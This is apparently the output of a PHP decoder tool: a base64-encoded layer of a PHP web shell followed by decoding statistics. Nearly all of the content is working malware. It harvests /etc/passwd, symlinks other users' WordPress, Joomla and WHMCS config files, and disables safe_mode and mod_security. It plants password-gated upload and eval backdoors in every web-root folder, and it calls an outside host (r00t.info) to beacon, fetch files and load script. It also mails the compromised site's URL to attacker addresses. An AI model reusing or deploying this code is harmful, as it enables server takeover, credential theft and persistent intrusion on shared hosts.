PCAxMDAwOyAkYW1pciArKykKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgJHB3
dWlkID0gQHBvc2l4X2dldHB3dWlkKCRhbWlyKTsKICAgICAgICAgICAgICAgICAgaWYgKCRwd3Vp
ZCkKICAgICAgICAgICAgICAgICAgICBlY2hvIGpvaW4oJzonLCAkcHd1aWQpLiAnXG4nOwogICAg
ICAgICAgICAgICAgfQogICAgICAgICAgCgkKCQkKCQkgICAKCQkgICAKCQkgICAKCgkKICAgICAg
ICAgICAgIH0KCQkKCQkgICAKCQoJICAgIAoJCSAgIGlmIChpc3NldCgkX1BPU1RbJ2xzJ10pKQog
ICAgICAgIHsKICAgICAgICAgICRjbWQgPSBzeXN0ZW0gICgibHMiKTsKICAgICAgICAgIAogICAg
ICAgICAgICAgewogICAgICAgICAgICAgICAkYW1pciA9IGV4cGxvZGUoIjoiLCRscyk7CiAgICAg
ICAgICAgICAgIGVjaG8gJGFtaXJbMF0uIlxuIjsKCQoJCgkvLy8vLy8vLy8vLy8vLy8vLy8vLy8v
Ly8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8v
CgkKCQoJCgkKICAgICAgICAgICAgIH0KCQkgICAKCQkgICAKICAgICAgICAgICAgIH0KCQkgICAK
CQkgICAKCQkgICAKZWNobyAiPC90ZXh0YXJlYT48cD48aW5wdXQgbmFtZT0ncGFzc3dkJyB0eXBl
PSdzdWJtaXQnIHZhbHVlPScvZXRjL3Bhc3N3ZCAhJyBzdHlsZT0nd2lkdGg6OCU7Jz4KICAgICAg
PGlucHV0IG5hbWU9J3VzZXJzJyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdVc2VycyAhJyBzdHlsZT0n
d2lkdGg6OCU7Jz4KCQoKICAgIDxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPSd1c3JlJyB2YWx1ZT0n
R3JhYiBDb25maUdzICEnIC8+CgkgIAoKCgo8Zm9udCBzaXplPSc1JyBjb2xvcj0ncmVkJz58PC9m
b250PgoKPGlucHV0IG5hbWU9J2xzJyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdscyAhJyBzdHlsZT0n
d2lkdGg6OCU7Jz48L2Zvcm0+IjsKCgoKCSAgCgoJIAoJCgkgCgkgCgkgCgkgCgkgCgkgCgkgCgkg
CgkgCgkgCgkgCgkgCgkgCgkgCgkgCj8+CgoKPD9waHAKaWYoaXNzZXQoJF9QT1NUWyd1c3JlJ10p
KQp7Cj8+PGZvcm0gbWV0aG9kPXBvc3Q+Cjx0ZXh0YXJlYSByb3dzPTEwIGNvbHM9MzAgbmFtZT11
c2VyPgo8P3BocCAkdXNlcnM9ZmlsZSgiL2V0Yy9wYXNzd2QiKTsKZm9yZWFjaCgkdXNlcnMgYXMg
JHVzZXIpCnsKJHN0cj1leHBsb2RlKCI6IiwkdXNlcik7CmVjaG8gJHN0clswXS4iXG4iOwp9Cgo/
Pgo8L3RleHRhcmVhPgo8YnI+CgoKCjxicj4KPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3UgdmFs
dWU9IiBHcmFiIENvbmZpZ3VyYXRpb24gRmlsZXMgOikiIC8+PC9mb3JtPgo8P3BocCB9ID8+CgoK
Cgo8P3BocAplcnJvcl9yZXBvcnRpbmcoMCk7CmVjaG8gIjxmb250IGNvbG9yPXJlZCBzaXplPTIg
ZmFjZT1cImNvbWljIHNhbnMgbXNcIj4iOwppZihpc3NldCgkX1BPU1RbJ3N1J10pKQp7CgokZGly
PW1rZGlyKCdhbSFyLWNvbicsMDc3Nyk7CiRyID0gIiBPcHRpb25zIGFsbCBcbiBEaXJlY3RvcnlJ
bmRleCBhbSFyLWNvbi5odG1sIFxuIFJlcXVpcmUgTm9uZSBcbiBTYXRpc2Z5IEFueSI7CiRmID0g
Zm9wZW4oJ2FtIXItY29uLy5odGFjY2VzcycsJ3cnKTsKCmZ3cml0ZSgkZiwkcik7CiRjb25zeW09
IjxhIGhyZWY9YW0hci1jb24vPjxmb250IGNvbG9yPXdoaXRlIHNpemU9MyBmYWNlPVwiY29taWMg
c2FucyBtc1wiPmNvbmZpZ3VyYXRpb24gZmlsZXM8L2ZvbnQ+PC9hPiI7CmVjaG8gIiI7CgokdXNy
PWV4cGxvZGUoIlxuIiwkX1BPU1RbJ3VzZXInXSk7Cgpmb3JlYWNoKCR1c3IgYXMgJHVzcyApCnsK
JHVzPXRyaW0oJHVzcyk7Cgokcj0iYW0hci1jb24vIjsKc3ltbGluaygnL2hvbWUvJy4kdXMuJy9w
dWJsaWNfaHRtbC93cC1jb25maWcucGhwJywkci4kdXMuJy4uV29yZHByZXNzJyk7CnN5bWxpbmso
Jy9ob21lLycuJHVzLicvcHVibGljX2h0bWwvd29yZHByZXNzL3dwLWNvbmZpZy5waHAnLCRyLiR1
cy4nLi5Xb3JkcGVzcycpOwpzeW1saW5rKCcvaG9tZS8nLiR1cy4nL3B1YmxpY19odG1sL2Jsb2cv
d3AtY29uZmlnLnBocCcsJHIuJHVzLicuLldvcmRwcmVzcyBCbG9nJyk7CnN5bWxpbmsoJy9ob21l
LycuJHVzLicvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRyLiR1cy4nLi5Kb29tbGEn
KTsKCnN5bWxpbmsoJy9yb290LycuJHVzLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsJHIu
JHVzLicuLldvcmRwcmVzcycpOwpzeW1saW5rKCcvcm9vdC8nLiR1cy4nL3B1YmxpY19odG1sL3dv
cmRwcmVzcy93cC1jb25maWcucGhwJywkci4kdXMuJy4uV29yZHBlc3MnKTsKc3ltbGluaygnL3Jv
b3QvJy4kdXMuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRyLiR1cy4nLi5Xb3Jk
cHJlc3MgQmxvZycpOwpzeW1saW5rKCcvcm9vdC8nLiR1cy4nL3B1YmxpY19odG1sL2NvbmZpZ3Vy
YXRpb24ucGhwJywkci4kdXMuJy4uSm9vbWxhJyk7CgoKc3ltbGluaygnL21lZGlhLycuJHVzLicv
cHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsJHIuJHVzLicuLldvcmRwcmVzcycpOwpzeW1saW5r
KCcvbWVkaWEvJy4kdXMuJy9wdWJsaWNfaHRtbC93b3JkcHJlc3Mvd3AtY29uZmlnLnBocCcsJHIu
JHVzLicuLldvcmRwZXNzJyk7CnN5bWxpbmsoJy9tZWRpYS8nLiR1cy4nL3B1YmxpY19odG1sL2Js
b2cvd3AtY29uZmlnLnBocCcsJHIuJHVzLicuLldvcmRwcmVzcyBCbG9nJyk7CnN5bWxpbmsoJy9t
ZWRpYS8nLiR1cy4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywkci4kdXMuJy4uSm9v
bWxhJyk7CgpzeW1saW5rKCcvaG9tZS8nLiR1cy4nL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1
cmF0aW9uLnBocCcsJHIuJHVzLicuLkpvb21sYScpOwpzeW1saW5rKCcvaG9tZS8nLiR1cy4nL3B1
YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRyLiR1cy4nLi5WQicpOwpzeW1saW5r
KCcvaG9tZS8nLiR1cy4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRyLiR1cy4n
Li5WQicpOwpzeW1saW5rKCcvaG9tZS8nLiR1cy4nL3B1YmxpY19odG1sL2NvbmZfZ2xvYmFsLnBo
cCcsJHIuJHVzLicuLmNvbmZfZ2xvYmFsJyk7CnN5bWxpbmsoJy9ob21lLycuJHVzLicvcHVibGlj
X2h0bWwvaW5jL2NvbmZpZy5waHAnLCRyLiR1cy4nLi5pbmMnKTsKc3ltbGluaygnL2hvbWUvJy4k
dXMuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywkci4kdXMuJy4uY29uZmlnJyk7CnN5bWxpbmso
Jy9ob21lLycuJHVzLicvcHVibGljX2h0bWwvU2V0dGluZ3MucGhwJywkci4kdXMuJy4uU2V0dGlu
Z3MnKTsKc3ltbGluaygnL2hvbWUvJy4kdXMuJy9wdWJsaWNfaHRtbC9zaXRlcy9kZWZhdWx0L3Nl
dHRpbmdzLnBocCcsJHIuJHVzLicuLnNpdGVzJyk7CnN5bWxpbmsoJy9ob21lLycuJHVzLicvcHVi
bGljX2h0bWwvd2htL2NvbmZpZ3VyYXRpb24ucGhwJywkci4kdXMuJy4uV0hNJyk7CnN5bWxpbmso
Jy9ob21lLycuJHVzLicvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRyLiR1
cy4nLi5XSE1DUycpOwpzeW1saW5rKCcvaG9tZS8nLiR1cy4nL3B1YmxpY19odG1sL3N1cHBvcnQv
Y29uZmlndXJhdGlvbi5waHAnLCRyLiR1cy4nLi5zdXBwb3J0IHdobWNzJyk7CnN5bWxpbmsoJy9o
b21lLycuJHVzLicvcHVibGljX2h0bWwvd2htYy9XSE0vY29uZmlndXJhdGlvbi5waHAnLCRyLiR1
cy4nLi5XSE0nKTsKc3ltbGluaygnL2hvbWUvJy4kdXMuJy9wdWJsaWNfaHRtbC93aG0vV0hNQ1Mv
Y29uZmlndXJhdGlvbi5waHAnLCRyLiR1cy4nLi53aG1jJyk7CnN5bWxpbmsoJy9ob21lLycuJHVz
LicvcHVibGljX2h0bWwvd2htL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywkci4kdXMuJy4uV0hN
Y3MnKTsKc3ltbGluaygnL2hvbWUvJy4kdXMuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3Vy
YXRpb24ucGhwJywkci4kdXMuJy4ud2htY3N1cHAnKTsKc3ltbGluaygnL2hvbWUvJy4kdXMuJy9w
dWJsaWNfaHRtbC9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywkci4kdXMuJy4ud2htY3MtY2xp
Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRp
b24ucGhwJywkci4kdXMuJy4ud2htY3MtY2wnKTsKc3ltbGluaygnL2hvbWUvJy4kdXMuJy9wdWJs
aWNfaHRtbC9jbGllbnRlcy9jb25maWd1cmF0aW9uLnBocCcsJHIuJHVzLicuLndobWNzLUNMJyk7
CnN5bWxpbmsoJy9ob21lLycuJHVzLicvcHVibGljX2h0bWwvY2xpZW50ZS9jb25maWd1cmF0aW9u
LnBocCcsJHIuJHVzLicuLndobWNzLUNsJyk7CnN5bWxpbmsoJy9ob21lLycuJHVzLicvcHVibGlj
X2h0bWwvY2xpZW50c3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJHIuJHVzLicuLndobWNzLWNz
dXAnKTsKc3ltbGluaygnL2hvbWUvJy4kdXMuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3Vy
YXRpb24ucGhwJywkci4kdXMuJy4ud2htY3MtYmlsbCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1cy4n
L3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRyLiR1cy4nLi5hZG1pbiBjb25mJyk7Cn0K
fQo/PgoKCgo8YnI+Cgo8YnI+CgoKCjw/cGhwCgoKCiRzZXJ2ZXJJUCA9IGdldGhvc3RieW5hbWUo
JF9TRVJWRVJbIkhUVFBfSE9TVCJdKTsKZWNobyAiCjxmb250IGNvbG9yPSd3aGl0ZSc+IFNlcnZl
ciBJUCA9IDwvZm9udD4KIDxmb250IGNvbG9yPXJlZD4iLmdldGhvc3RieW5hbWUoJF9TRVJWRVJb
IkhUVFBfSE9TVCJdKS4iIAogPC9mb250Pls8L3NwYW4+PGEgaHJlZj0naHR0cDovL2JpbmcuY29t
L3NlYXJjaD9xPWlwOiIuJHNlcnZlcklQLiImZ289JmZvcm09UUJMSCZmaWx0PWFsbCcgdGFyZ2V0
PVwiX2JsYW5rXCI+QmluZyBTZWFyY2gKIDwvYT5dWzwvc3Bhbj48YSBocmVmPSdodHRwOi8vem9u
ZS1oLmNvbS9hcmNoaXZlL2lwPSIuJHNlcnZlcklQLiIKJyB0YXJnZXQ9XCJfYmxhbmtcIj5ab25l
LUg8L2E+XSI7CgoJIAoKCj8+CgoKCjxicj4KCgo8YnI+CgoKCgo8Zm9udCBjb2xvcj0icmVkIiBz
aXplPSI0IiA+IEtpbGwgU2FmZU1vZGUgICA8L2ZvbnQ+Cgo8P3BocAoKCmVjaG8gIjxyaWdodD4i
OwoKZWNobyI8Rk9STSBtZXRob2Q9J1BPU1QnIGFjdGlvbj0nJFJFUVVFU1RfVVJJJyBlbmN0eXBl
PSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4KCTxwIGFsaWduPSdjZW50ZXInPgoJPElOUFVUIHR5cGU9
J3N1Ym1pdCcgbmFtZT0nS2lsbCcgdmFsdWU9J0dlbmVyYXRlIFtpbmkucGhwXSArIFtwaHAuaW5p
XSArIFsuaHRhY2Nlc3NdIHRvIEtpbGwgVGhlIFNhZmVNb2RlICcgaWQ9aW5wdXQgc3R5bGU9J2Zv
bnQtc2l6ZTogMTJwdDsgZm9udC13ZWlnaHQ6IGJvbGQ7IGJvcmRlci1zdHlsZTogaW5zZXQ7IGJv
cmRlci13aWR0aDogMXB4Jz48L3A+CjwvZm9ybT4KIjsKZWNobyAiPHJpZ2h0Lz4iOwppZiAgKGVt
cHR5KCRfUE9TVFsnS2lsbCddICkgKSB7Cgl9RUxTRXsKCSRhY3Rpb24gPSAnP2FjdGlvbj1LaWxs
JzsKZWNobyAiCjxodG1sPgo8YnI+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSdwcmFnbWEnIGNv
bnRlbnQ9J25vLWNhY2hlJz4KPC9oZWFkPjxib2R5PiI7CgokZnAgPSBmb3BlbigicGhwLmluaSIs
IncrIik7CmZ3cml0ZSgkZnAsInNhZmVfbW9kZSA9IE9mZgpkaXNhYmxlX2Z1bmN0aW9ucyAgPSAg
ICBOT05FCm9wZW5fYmFzZWRpciA9IE9GRiAiKTsKZWNobyAiPGI+W1NhZmVNb2RlIERvbmVdIC4u
PC9iPiI7CmVjaG8gKCI8YnI+Iik7CgokZnAyID0gZm9wZW4oIi5odGFjY2VzcyIsIncrIik7CmZ3
cml0ZSgkZnAyLCIKPElmTW9kdWxlIG1vZF9zZWN1cml0eS5jPgpLaWxsRmlsdGVyRW5naW5lIE9m
ZgpLaWxsRmlsdGVyU2NhblBPU1QgT2ZmCktpbGxGaWx0ZXJDaGVja1VSTEVuY29kaW5nIE9mZgpL
aWxsRmlsdGVyQ2hlY2tVbmljb2RlRW5jb2RpbmcgT2ZmCjwvSWZNb2R1bGU+CiIpOwoKCmVjaG8g
IjxiPltNb2RfU2VjdXJpdHkgRG9uZV08L2I+PGJyPiI7CgogICAgZWNobyAiPC9mb250PjwvY2Vu
dGVyPjwvdGQ+PC90cj48L3RhYmxlPiAiOwoKCgl9CgoKPz4KCgoKCgoKPD9waHAgCi8vLy8vLy8v
Ly8vLy8vLyBHcmVlVHogVE8gKEhLKSAsIER6IE1hZmlhICwgQW5kIE1lICoqKioqKioqKioqKioq
KioqKioqKioqKioqKioKPz4KPD9waHAKCgoKCmVjaG8gIjxTQ1JJUFQgU1JDPWh0dHA6Ly9yMDB0
LmluZm8vYm90L2xvZy5qcz48L1NDUklQVD4iOwplY2hvIjxiUj48Zm9udCBzaXplPScyJyBjb2xv
cj0nd2hpdGUnPkNvcHlyaWdodCAyMDE0IC0gQW0hUiAuIEFsbCBSaWdodCBSZXNlcnZlZCAtLSBD
b250YWN0IDogZmIuY29tL2FtaXJvLm1pcjB1IDxicj4uL0V4SVQgPC9mb250PiIKPz4KPD9waHAK
CgoKCi8vLy8vIC4vRXhJVCAvLy8vLy8KPz4KCjw/cGhQCgoKCgovLy8vLy8vLy8vLy8vRG9udCBT
dGVhbCBSaWdodHMgUGxlYXNlICwgIC8vLy8vLy8vLwo/PgoKCjw/UEhwCgoKLy8vLyBEWiBUTyBU
aGUgQ29yZSAhISEgLy8vLy8KPz48P3BocApAc2Vzc2lvbl9zdGFydCgpOwpAZXJyb3JfcmVwb3J0
aW5nKDApOwpAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsKQGluaV9zZXQoJ2xvZ19lcnJvcnMn
LDApOwpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsKQGluaV9zZXQoJ2Rpc3BsYXlf
ZXJyb3JzJywgMCk7CkBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsKQHNldF90aW1lX2xp
bWl0KDApOwpAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApOwoKPz4KPD9waHAKQHNlc3Npb25f
c3RhcnQoKTsKQGVycm9yX3JlcG9ydGluZygwKTsKJGEgPSAnPD9waHAKc2Vzc2lvbl9zdGFydCgp
OwppZigkX1NFU1NJT05bImFkbSJdKXsKZWNobyBcJzxiPk5hbWVzaXM8YnI+PGJyPlwnLnBocF91
bmFtZSgpLlwnPGJyPjwvYj5cJztlY2hvIFwnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIg
ZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbmFtZT0idXBsb2FkZXIiIGlkPSJ1cGxvYWRl
ciI+XCc7ZWNobyBcJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI1MCI+PGlu
cHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwv
Zm9ybT5cJztpZiggJF9QT1NUW1wnX3VwbFwnXSA9PSAiVXBsb2FkIiApIHsJaWYoQGNvcHkoJF9G
SUxFU1tcJ2ZpbGVcJ11bXCd0bXBfbmFtZVwnXSwgJF9GSUxFU1tcJ2ZpbGVcJ11bXCduYW1lXCdd
KSkgeyBlY2hvIFwnPGI+VXBsb2FkIFN1Y2Nlc3MgISEhPC9iPjxicj48YnI+XCc7IH0JZWxzZSB7
IGVjaG8gXCc8Yj5VcGxvYWQgRmFpbCAhISE8L2I+PGJyPjxicj5cJzsgfX0KfQppZigkX1BPU1Rb
InAiXSl7CiRwID0gJF9QT1NUWyJwIl07CiRwYSA9IG1kNShzaGExKCRwKSk7CmlmKCRwYT09ImVk
NjRjZjZmYTQ0NTg5OGZmMDcyOTVjZTBhYzI2ZDY1Iil7CiRfU0VTU0lPTlsiYWRtIl0gPSAxOwp9
Cn0KPz4KPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CjxpbnB1dCB0eXBlPSJ0ZXh0IiBu
YW1lPSJwIj4KPC9mb3JtPgonOwppZihAJF9SRVFVRVNUWyJweCJdKXsKJHAgPSBAJF9SRVFVRVNU
WyJweCJdOwokcGEgPSBtZDUoc2hhMSgkcCkpOwppZigkcGE9PSJlZDY0Y2Y2ZmE0NDU4OThmZjA3
Mjk1Y2UwYWMyNmQ2NSIpewplY2hvIEBldmFsKEBmaWxlX2dldF9jb250ZW50cyhAJF9SRVFVRVNU
WyI0MDQiXSkpOwp9Cn0KaWYoQCEkX1NFU1NJT05bInNkbSJdKXsKJGRvYyA9ICRfU0VSVkVSWyJE
T0NVTUVOVF9ST09UIl07CiRkaXIgPSBzY2FuZGlyKCRkb2MpOwokZDEgPSAnJy4kZG9jLicvLic7
CiRkMiA9ICcnLiRkb2MuJy8uLic7CgppZigoJGtleSA9IEBhcnJheV9zZWFyY2goJy4nLCAkZGly
KSkgIT09IGZhbHNlKSB7CiAgICB1bnNldCgkZGlyWyRrZXldKTsKfQppZigoJGtleSA9IEBhcnJh
eV9zZWFyY2goJy4uJywgJGRpcikpICE9PSBmYWxzZSkgewogICAgdW5zZXQoJGRpclska2V5XSk7
Cn0KaWYoKCRrZXkgPSBAYXJyYXlfc2VhcmNoKCRkMSwgJGRpcikpICE9PSBmYWxzZSkgewogICAg
dW5zZXQoJGRpclska2V5XSk7Cn0KaWYoKCRrZXkgPSBhcnJheV9zZWFyY2goJGQyLCAkZGlyKSkg
IT09IGZhbHNlKSB7CiAgICB1bnNldCgkZGlyWyRrZXldKTsKfQpAYXJyYXlfcHVzaCgkZGlyLCRk
b2MpOwoKZm9yZWFjaCgkZGlyIGFzICRkKXsKCgokcCA9ICRkb2MuIi8iLiRkOwppZihpc19kaXIo
JHApKXsKJGZpbGUgPSAkcC4iL25ld3NyLnBocCI7CkB0b3VjaCgkZmlsZSk7CiRmb2xkZXIgPSBA
Zm9wZW4oJGZpbGUsInciKTsKQGZ3cml0ZSgkZm9sZGVyLCRhKTsKfQp9CiRsbHMgPSAkX1NFUlZF
UlsiSFRUUF9IT1NUIl07CiRsbGMgPSAkX1NFUlZFUlsiUkVRVUVTVF9VUkkiXTsKJGxsZCA9ICdo
dHRwOi8vJy4kbGxzLicnLiRsbGMuJyc7CiRicm93ID0gdXJsZW5jb2RlKCRfU0VSVkVSWydIVFRQ
X1VTRVJfQUdFTlQnXSk7CiRyZXRWYWx1ZSA9IGZpbGVfZ2V0X2NvbnRlbnRzKGJhc2U2NF9kZWNv
ZGUoImFIUjBjRG92TDNJd01IUXVhVzVtYnk5aWIzUXZlV0Y2TG5Cb2NEOWgiKS4iPSIuJGxsZC5i
YXNlNjRfZGVjb2RlKCJKbUk9IikuIj0iLiRicm93KTsKZWNobyAkcmV0VmFsdWU7CkAkX1NFU1NJ
T05bInNkbSJdPTE7Cn0KPz4KCgo8P3BocCAgCgppZigkX1BPU1RbJ3F1ZXJ5J10pewokdmVyaXlm
eSA9IHN0cmlwc2xhc2hlcyhzdHJpcHNsYXNoZXMoJF9QT1NUWydxdWVyeSddKSk7CiRkYXRhID0g
ImRhdGEudHh0IjsKQHRvdWNoICgiZGF0YS50eHQiKTsKJHZlciA9IEBmb3BlbiAoJGRhdGEgLCAn
dycpOwpAZndyaXRlICggJHZlciAsICR2ZXJpeWZ5ICkgOwpAZmNsb3NlICgkdmVyKTsKfWVsc2V7
CiRkYXRhcz1AZm9wZW4oImRhdGEudHh0IiwncicpOwokaT0wOwp3aGlsZSAoJGkgPD0gNSkgewok
aSsrOwokYmx1ZT1AZmdldHMoJGRhdGFzLDEwMjQpOwplY2hvICRibHVlOwp9Cn0KJGRhdGFzaT1A
Zm9wZW4oIm1vZHVsZXMvaW5kZXh4LnBocCIsJ3InKTsKaWYoJGRhdGFzaSl7Cn1lbHNlewpAbWtk
aXIoIm1vZHVsZXMiKTsKJGRvcyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwOi8vcjAwdC5pbmZv
L3R4dC9sYW1lci50eHQiKTsKJGRhdGEgPSAibW9kdWxlcy9pbmRleHgucGhwIjsKQHRvdWNoICgi
bW9kdWxlcy9pbmRleHgucGhwIik7CiR2ZXIgPSBAZm9wZW4gKCRkYXRhICwgJ3cnKTsKQGZ3cml0
ZSAoICR2ZXIgLCAkZG9zICkgOwpAZmNsb3NlICgkdmVyKTsKJHlvbCA9ICJodHRwOi8vIi4kX1NF
UlZFUlsnSFRUUF9IT1NUJ10uIiIuJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10uIiI7CiR5ID0gJzxo
MT5TZW5kZXIgWWF6ZGlyaWxkaS48YnIvPiBTSVRFIFlPTCA6ICcuJHlvbC4nPGJyLz5TZW5kZXIg
WW9sdSA6IG1vZHVsZXMvZGJzLnBocDwvaDE+JzsKJGhlYWRlciAuPSAiRnJvbTogU2hlTEwgQm9v
dCA8c3VwcG9yQG5pYy5vcmc+XG4iOyAKJGhlYWRlciAuPSAiQ29udGVudC1UeXBlOiB0ZXh0L2h0
bWw7IGNoYXJzZXQ9dXRmLThcbiI7IApAbWFpbCgiYnloZXJvNDRAZ21haWwuY29tIiwgIkhhY2ts
aW5rIEJpbGRpcmkiLCAiJHkiLCAkaGVhZGVyKTsgCkBtYWlsKCJwcmlwaHBAaG90bWFpbC5jb20i
LCAiSGFja2xpbmsgQmlsZGlyaSIsICIkeSIsICRoZWFkZXIpOyAKfQo/Pgo8c2NyaXB0IHR5cGU9
InRleHQvamF2YXNjcmlwdCI+CmRvY3VtZW50LndyaXRlKHVuZXNjYXBlKCclM0MlNzMlNjMlNzIl
NjklNzAlNzQlMjAlNzMlNzIlNjMlM0QlNjglNzQlNzQlNzAlM0ElMkYlMkYlNzIlMzAlMzAlNzQl
MkUlNjklNkUlNjYlNkYlMkYlNjIlNkYlNzQlMkYlNkMlNkYlNjclMkUlNkElNzMlM0UlM0MlMkYl
NzMlNjMlNzIlNjklNzAlNzQlM0UnKSk7Cjwvc2NyaXB0Pg==")); ?>
Function Calls
| base64_decode | 1 |
Stats
| MD5 | 83c13688da1f13567507eaa38d06f97c |
| Eval Count | 1 |
| Decode Time | 98 ms |